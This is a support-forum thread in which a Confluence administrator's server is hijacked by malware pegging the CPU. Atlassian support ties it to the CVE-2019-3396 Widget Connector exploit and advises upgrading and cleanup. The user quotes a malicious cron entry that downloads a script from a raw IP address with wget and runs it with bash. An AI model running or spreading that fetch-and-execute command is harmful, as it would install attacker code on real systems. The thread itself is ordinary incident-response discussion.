Cannot start or stop Confluence

[Boris Zinchenko]

We have Confluence 6.11.2 running on Ubuntu 18.04.1 with PostgreSQL. It is a small test instance with a dozen of spaces and two users. It was running for half a year without issues. Recently it abruptly stopped running. 

Strange things happen:

• On start Confluence consumes 100% of processor and runs infinitely without actually starting.
• It is impossible to stop it in normal way through "stop-confluence.sh".
• It is impossible to kill it in process list: it restarts. 
• It is impossible even to prevent it from starting. We turned off auto-start for the service but it still starts automatically few minutes after reboot.

In all, it made our server not usable. It all happened abruptly without any changes to server or Confluence config from our side. If anybody might have an idea, please advise. Thank you.

[Daniel Eads · Accepted solution]

Hi Boris,

Given the timeframe you mentioned, what you've described is an active exploit that attacks the CVE-2019-3396 Widget Connector vulnerability from March 20th (see Confluence Security Advisory - 2019-03-20). We've seen an infection going around that injects malware and the bitcoin miner it tries to run uses all the CPU available on the box.

The first step in fixing this is upgrading to a Confluence version that is not affected by the vulnerability. I'd recommend looking at one of these versions (latest releases as of this post):

• 6.13.4 (6.13 is an Enterprise release)
• 6.14.3
• 6.15.2

Secondly, the LSD malware cleanup tool will be useful for removing the Kerberods malware. I would recommend executing cleanup after upgrading Confluence to a patched version so there's no possibility of re-infection while you work on the upgrade.

Please let me know if you have more questions!
Daniel | Atlassian Support

[Boris Zinchenko]

Thank you for a hint. We are somewhat shocked that Confluence can be compromised so easily. We were sure that on Linux it is bullet proof. We are installing latest version per advise and then will hunt for malware. Here is a list of our suspicious processes.

[Boris Zinchenko]

Checked with following tools:

ClamAV - nothing found

Rkhunter - nothing found

Chkrootkit:

Searching for Linux.Xor.DDoS ... INFECTED: Possible Malicious Linux.Xor.DDoS installed
root@vmi208556:/bin# /tmp/l8G9330
root@vmi208556:/bin# /tmp/O7KP901

[Boris Zinchenko]

We finally found these lines in our cron tasks allegedly related to a malware:

confluence Yes Environment variable HOME = /tmp/
confluence Yes /usr/bin/wget -q -O /tmp/seasame http://51.15.56.161:443 && bash /tmp/seasame

After removing these lines and restarting the system Confluence started normally. Please advise, if it is the exploit, which you mentioned above or something else.

[Daniel Eads]

Hey Boris,

Thanks for listing the processes you found and steps you went about detecting them. No system is 100% secure, including Confluence, and including Linux. If you didn't receive an email notification from Atlassian about this advisory several weeks ago urging an upgrade, you can double-check your notification preferences at my.atlassian.com/email. Security advisories are sent per your selections in the "Tech alerts" area on that page, or if we're able to find your email address as the technical contact on a license.

The particular malware infection looks different than the kerberods payload I initially mentioned, but it's definitely possible that the same attacker changed payloads or another attacker is trying to inject a different payload using the same vulnerability. In cases I've seen, removing the entries from crontab keeps the infection from starting again while you remove the malicious files.

I just want to make sure you've upgraded Confluence to a non-vulnerable version. You may have already done this, but I just don't see it listed explicitly in your comments. The suggested non-vulnerable versions as of this post are:

• 6.13.4 (6.13 is an Enterprise release)
• 6.14.3
• 6.15.2
  

Here to help if you need assistance with an upgrade!
Daniel | Atlassian Support

[Boris Zinchenko]

Hello Daniel

Thank you for follow up.

Surely, we followed your directions and upgraded Confluence to your recommended version prior to any further cleanup.

Alas, we were not able / qualified to find any malicious files on the system. We installed 3 free anti-virus and malware removers for Ubuntu and none of them detected any wrong, which is itself alarming.

It is hard to overestimate a threat for Confluence community due to this situation. It is our first incident with security in 10+ years of working with Confluence. Clearly, we do not have enough staff and time to monitor security updates from Atlassian.

Moreover, we serve a number of F500 companies, which still run large production instances up to versions 2.xx. They are unable or unwilling to upgrade these systems, at least immediately. It is impossible to imagine a scale of data leaks and security breaches potentially related to this exploit.